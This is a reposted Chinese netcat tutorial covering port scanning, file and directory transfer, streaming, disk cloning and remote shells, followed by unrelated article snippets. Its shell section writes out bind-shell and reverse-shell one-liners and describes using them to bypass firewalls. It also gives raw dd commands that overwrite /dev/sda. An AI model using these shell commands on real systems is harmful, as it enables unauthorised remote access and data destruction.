Linux Netcat 命令——网络工具中的瑞士军刀

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。

netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。

下面是一些使用netcat的例子.

[A(172.31.100.7) B(172.31.100.23)]

 

Linux netcat 命令实例:

1,端口扫描

端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。

$nc -z -v -n 172.31.100.7 21-25
可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.

z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换(谢谢@jxing 指点)

v 参数指使用冗余选项(译者注:即详细输出)

n 参数告诉netcat 不要使用DNS反向查询IP地址的域名

这个命令会打印21到25 所有开放的端口。Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。

一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。

$ nc -v 172.31.100.7 21
netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。
 

Chat Server

假如你想和你的朋友聊聊,有很多的软件和信息服务可以供你使用。但是,如果你没有这么奢侈的配置,比如你在计算机实验室,所有的对外的连接都是被限制的,你怎样和整天坐在隔壁房间的朋友沟通那?不要郁闷了,netcat提供了这样一种方法,你只需要创建一个Chat服务器,一个预先确定好的端口,这样子他就可以联系到你了。

Server

$nc -l 1567

netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。

Client

$nc 172.31.100.7 1567
不管你在机器B上键入什么都会出现在机器A上。
 

3,文件传输

大部分时间中,我们都在试图通过网络或者其他工具传输文件。有很多种方法,比如FTP,SCP,SMB等等,但是当你只是需要临时或者一次传输文件,真的值得浪费时间来安装配置一个软件到你的机器上嘛。假设,你想要传一个文件file.txt 从A 到B。A或者B都可以作为服务器或者客户端,以下,让A作为服务器,B为客户端。

Server

$nc -l 1567 < file.txt
Client
$nc -n 172.31.100.7 1567 > file.txt
这里我们创建了一个服务器在A上并且重定向netcat的输入为文件file.txt,那么当任何成功连接到该端口,netcat会发送file的文件内容。

在客户端我们重定向输出到file.txt,当B连接到A,A发送文件内容,B保存文件内容到file.txt.

没有必要创建文件源作为Server,我们也可以相反的方法使用。像下面的我们发送文件从B到A,但是服务器创建在A上,这次我们仅需要重定向netcat的输出并且重定向B的输入文件。

B作为Server

Server

$nc -l 1567 > file.txt

Client

nc 172.31.100.23 1567 < file.txt
 

4,目录传输

发送一个文件很简单,但是如果我们想要发送多个文件,或者整个目录,一样很简单,只需要使用压缩工具tar,压缩后发送压缩包。

如果你想要通过网络传输一个目录从A到B。

Server

$tar -cvf – dir_name | nc -l 1567

Client

$nc -n 172.31.100.7 1567 | tar -xvf -
这里在A服务器上,我们创建一个tar归档包并且通过-在控制台重定向它,然后使用管道,重定向给netcat,netcat可以通过网络发送它。

在客户端我们下载该压缩包通过netcat 管道然后打开文件。

如果想要节省带宽传输压缩包,我们可以使用bzip2或者其他工具压缩。

Server

$tar -cvf – dir_name| bzip2 -z | nc -l 1567

通过bzip2压缩

Client

$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -
使用bzip2解压
 

5. 加密你通过网络发送的数据

如果你担心你在网络上发送数据的安全,你可以在发送你的数据之前用如mcrypt的工具加密。

服务端

$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
使用mcrypt工具加密数据。

客户端

$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
使用mcrypt工具解密数据。

以上两个命令会提示需要密码,确保两端使用相同的密码。

这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。

 

6. 流视频

虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用netcat,我们仍然有希望做成这件事。

服务端

$cat video.avi | nc -l 1567
这里我们只是从一个视频文件中读入并重定向输出到netcat客户端
$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

这里我们从socket中读入数据并重定向到mplayer。



7,克隆一个设备

如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。

克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上

Server

$dd if=/dev/sda | nc -l 1567
Client
$nc -n 172.31.100.7 1567 | dd of=/dev/sda
dd是一个从磁盘读取原始数据的工具,我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。


8,打开一个shell

我们已经用过远程shell-使用telnet和ssh,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用netcat创建远程shell。

假设你的netcat支持 -c -e 参数(默认 netcat)

Server

$nc -l 1567 -e /bin/bash -i
Client
$nc 172.31.100.7 1567
这里我们已经创建了一个netcat服务器并且表示当它连接成功时执行/bin/bash

假如netcat 不支持-c 或者 -e 参数(openbsd netcat),我们仍然能够创建远程shell

Server

$mkfifo /tmp/tmp_fifo
$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口1567上。至此,我们已经把netcat的输出重定向到fifo文件中。

说明:

从网络收到的输入写到fifo文件中

cat 命令读取fifo文件并且其内容发送给sh命令

sh命令进程受到输入并把它写回到netcat。

netcat 通过网络发送输出到client

至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。

在客户端仅仅简单连接到服务器

Client

$nc -n 172.31.100.7 1567
你会得到一个shell提示符在客户端
 
 

反向shell

反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。

服务端

$nc -l 1567
在客户端,简单地告诉netcat在连接完成后,执行shell。

客户端

$nc 172.31.100.7 1567 -e /bin/bash
现在,什么是反向shell的特别之处呢 
反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如,我有一个专用IP地址为172.31.100.7,我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell,那么我会用反向外壳用于这一目的。 


10. 指定源端口

假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。

服务器端

$nc -l 1567

客户端

$nc 172.31.100.7 1567 -p 25

使用1024以内的端口需要root权限。

该命令将在客户端开启25端口用于通讯,否则将使用随机端口。



11. 指定源地址

假设你的机器有多个地址,希望明确指定使用哪个地址用于外部数据通讯。我们可以在netcat中使用-s选项指定ip地址。

服务器端

$nc -u -l 1567 < file.txt

客户端

$nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt

该命令将绑定地址172.31.100.5。

这仅仅是使用netcat的一些示例。

其它用途有:

  •     使用-t选项模拟Telnet客户端,
  •     HTTP客户端用于下载文件,
  •     连接到邮件服务器,使用SMTP协议检查邮件,
  •     使用ffmpeg截取屏幕并通过流式传输分享,等等。其它更多用途。

简单来说,只要你了解协议就可以使用netcat作为网络通讯媒介,实现各种客户端。

参考文档

Netcat手册

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/351326.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

win10怎么放计算机在桌面,win10我的电脑怎么放在桌面

win10我的电脑图标怎么放在桌面呢&#xff1f;一不小心将win10桌面上的此电脑图标删除了&#xff0c;找了半天都没找到它。win10系统怎么将我的电脑图标藏的隐蔽。今天&#xff0c;我就将找回win10我的电脑图标方法分享给你们刚重装完win10系统有些小伙伴就急急忙忙的来询问小编…

project 2013 显示标题

1、分析 右键只能插入任务&#xff0c;不能插入标题&#xff0c;而插入任务会被编号&#xff0c;目前只能在打印设置标题&#xff0c;不能在编辑界面显示标题的&#xff0c;或者使用最高级任务的方式 2、解决 文件&#xff0c;打印&#xff0c;页面设置&#xff0c;页眉&#x…

getopt在Python中的使用

在运行程序时&#xff0c;可能需要根据不同的条件&#xff0c;输入不同的命令行选项来实现不同的功能。目前有短选项和长选项两种格式。短选项格式为"-"加上单个字母选项&#xff1b;长选项为"--"加上一个单词。长格式是在Linux下引入的。许多Linux程序都支…

大数据的数据采集数据处理_让我们处理大数据

大数据的数据采集数据处理作为开发人员&#xff0c;我们的重点是简单&#xff0c;有效的解决方案&#xff0c;因此&#xff0c;最有价值的原则之一就是“保持简单和愚蠢”。 但是使用Hadoop map-reduce很难坚持这一点。 如果我们要评估多个Map Reduce作业中的数据&#xff0c;我…

怎样正确使用和维护微型计算机,下篇:微型计算机应该怎样进行维护与保养

2. 养成良好的使用维护习惯(1)正确的使用习惯个人使用习惯对计算机的影响很大&#xff0c;首先是要正常开关机&#xff0c;开机的顺序是&#xff0c;先打开外设的电源&#xff0c;然后再开主机电源。关机顺序相反&#xff0c;先关闭主机电源&#xff0c;再关闭外设电源。其道理…

CF :K 一个含n条边的带权无向连通图,q次查询,每次查询两点间的最短距离。...

题意&#xff1a;给你一个含n条边的带权无向连通图&#xff0c;q次查询&#xff0c;每次查询两点间的最短距离。 思路&#xff1a;LCA思维。 设a&#xff0c;b两点间的距离为f(a,b) 则f(a,b)dis[a]dis[b]-2*dis[lca(a,b)]; 由于n条边&#xff0c;因此我们先任取一条边&#xff…

每天一个linux命令(20):find命令之exec

find是我们很常用的一个Linux命令&#xff0c;但是我们一般查找出来的并不仅仅是看看而已&#xff0c;还会有进一步的操作&#xff0c;这个时候exec的作用就显现出来了。 exec解释&#xff1a; -exec 参数后面跟的是command命令&#xff0c;它的终止是以;为结束标志的&#x…

英语作业介绍一项发明计算机,介绍电脑的发明的英语作文

匿名用户1级2008-07-25 回答Simple 1:Different eras of political history are frequently identified with royal dynasties, or great wars and revolutions.Eras in the history of art and architecture may be distinguished by styles such as Renaissance, Gothic, Imp…

Math、Date内置对象方法整理

Math : 内置的对象&#xff08;构造函数&#xff09;静态属性或静态方法。一、Math.PI : 圆周率console.log(Math.PI);二、近似值1. 四舍五入 &#xff1a; Math.round()注: 负数时&#xff0c; < 0.5 舍去 > 0.5 进一console.log(Math.round(4.5)); //5console…

Neo4j:动态添加属性/设置动态属性

我一直在研究一个包含英国国家铁路时刻表的数据集&#xff0c;它们以文本格式为您提供每列火车的出发和到达时间。 例如&#xff0c;可以这样创建代表停止的节点&#xff1a; CREATE (stop:Stop {arrival: "0802", departure: "0803H"})该时间格式不是特…

便利的开发工具-log4cpp快速使用指南

0. 优点 提供应用程序运行上下文&#xff0c;方便跟踪调试&#xff1b; 可扩展的、多种方式记录日志&#xff0c;包括命令行、文件、回卷文件、内存、syslog服务器、Win事件日志等&#xff1b; 可以动态控制日志记录级别&#xff0c;在效率和功能中进行调整&#xff1b; 所有配…

计算机用户账户无法打开浏览器,请问怎么样禁止一个电脑用户使用IE浏览器

为了不使他人随意改变您对浏览器的设置以及对IE的某些功能限制使用&#xff0c;有必要将你的设置选项进行隐藏或禁止使用。过去在Windows 9x系统中&#xff0c;一般是通过修改注册表来实现的&#xff0c;不过这会对系统的安全性带来一定的风险。当您选择了Windows XP后&#xf…

Mask R-CNN论文理解

摘要&#xff1a; Mask RCNN可以看做是一个通用实例分割架构。Mask RCNN以Faster RCNN原型&#xff0c;增加了一个分支用于分割任务。Mask RCNN比Faster RCNN速度慢一些&#xff0c;达到了5fps。可用于人的姿态估计等其他任务&#xff1b;1、Introduction 实例分割不仅要正确的…

doctype html h5,HTML DOCTYPE

前言&#xff1a;DOCTYPE标签在平常书写HTML的时候总是放在首位内容&#xff0c;但是他有什么作用呢。正文&#xff1a;html之中的DOCTYPE书写H5与H4的时候我们引用的使用的DOCTYPE是会有些许不一样的。HTML4的时候我们使用如下格式&#xff1a;>p.s.这里我们说一下H4的几种…

servlet基础_Servlet基础

servlet基础通过本教程&#xff0c;我将尝试使您更接近Java Servlet模型。 在检查servlet规范中定义的类之前&#xff0c;我将解释在开始开发Web应用程序之前需要了解的基本知识。 了解Java Servlet模型 首先&#xff0c;不仅为基于请求和响应编程模型的规范的Web应用程序定义…

纯 CSS 实现高度与宽度成比例的效果

http://zihua.li/2013/12/keep-height-relevant-to-width-using-css/ 转载于:https://www.cnblogs.com/ygm900/p/10443982.html

c++ || && 逻辑短路问题

结论&#xff1a;“或”逻辑前面为1&#xff0c;“与”逻辑前面为0就会发生短路 1——或逻辑短路 include <stdio.h> int main() { int a5,b6,c7,d8,m2,n2; (ma<b)||(nc>d); printf("%d\t%d",m,n); } 输出的结果为1,2.为什么呢&#xff0c;因为a<b&am…

2021年计算机学硕考研c9,【JRs观点】学姐3000字记录考研8个月心得及作息时间表,献给2021考研同学,从二本到C9...

其实自己不会写东西&#xff0c;本文就像记流水账一样记录一下自己考研的过程吧。18年考研&#xff0c;从二本考上自己理想的985&#xff0c;这心中酸楚只有自己能体会&#xff0c;我个人觉得考研考的是坚持、方法、毅力。在这里把自己的一些经历分享给大家。考研成绩421&#…

abstract

Abstract 类 不能实例化Abstract 方法 在父类里定义抽象方法,在子类里定义这个具体的方法,所以它是抽象的.好处 减少复杂度和提高可维护性 抽象类的子类需要实现父类中的抽象方法&#xff0c;否则会报错。转载于:https://www.cnblogs.com/Frances-CY-FKYM/p/10444062.html

Neo4j:使用LOAD CSV检测CSV标头中的恶意空间

上周&#xff0c;我正在帮助某人将CSV文件中的数据加载到Neo4j中&#xff0c;我们在过滤掉其中一列中包含空值的行时遇到了麻烦。 数据如下所示&#xff1a; load csv with headers from "file:///foo.csv" as row RETURN row╒═════════════════…